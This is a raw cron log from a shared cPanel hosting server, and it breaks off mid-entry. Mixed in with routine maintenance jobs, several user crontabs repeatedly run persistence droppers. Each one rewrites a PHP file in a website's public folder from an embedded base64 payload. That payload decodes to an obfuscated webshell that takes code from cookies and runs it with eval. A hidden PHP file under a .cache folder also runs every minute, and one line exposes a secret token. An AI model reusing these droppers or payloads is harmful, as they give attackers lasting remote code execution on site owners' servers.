Mar  2 11:39:01 medusa CROND[10642]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:39:01 medusa CROND[10638]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:39:01 medusa CROND[10651]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 11:40:01 medusa CROND[30165]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 11:40:01 medusa CROND[30254]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 11:40:01 medusa CROND[30356]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:40:01 medusa CROND[30367]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:40:01 medusa CROND[30524]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 11:40:01 medusa CROND[30526]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:40:01 medusa CROND[30523]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 11:40:01 medusa CROND[30527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:40:01 medusa CROND[30535]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:40:01 medusa CROND[30528]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:40:01 medusa CROND[30536]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 11:40:01 medusa CROND[30540]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 11:40:01 medusa CROND[30549]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:40:02 medusa CROND[30559]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:40:02 medusa CROND[30560]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:40:02 medusa CROND[30554]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 11:40:02 medusa CROND[30561]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:40:02 medusa CROND[30546]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 11:40:02 medusa CROND[30538]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 11:40:02 medusa CROND[30567]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 11:40:02 medusa CROND[30569]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:40:02 medusa CROND[30562]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 11:40:02 medusa CROND[30564]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 11:40:02 medusa CROND[30578]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 11:40:02 medusa CROND[30571]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 11:40:02 medusa CROND[30591]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:40:02 medusa CROND[30573]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 11:40:02 medusa CROND[30570]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 11:41:01 medusa CROND[18562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:41:01 medusa CROND[18765]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:41:01 medusa CROND[18768]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 11:41:01 medusa CROND[18769]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 11:41:01 medusa CROND[18772]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:41:01 medusa CROND[18775]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:41:01 medusa CROND[18786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:41:01 medusa CROND[18789]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:41:01 medusa CROND[18790]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:41:01 medusa CROND[18792]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:41:01 medusa CROND[18793]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:41:01 medusa CROND[18794]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 11:41:01 medusa CROND[18797]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 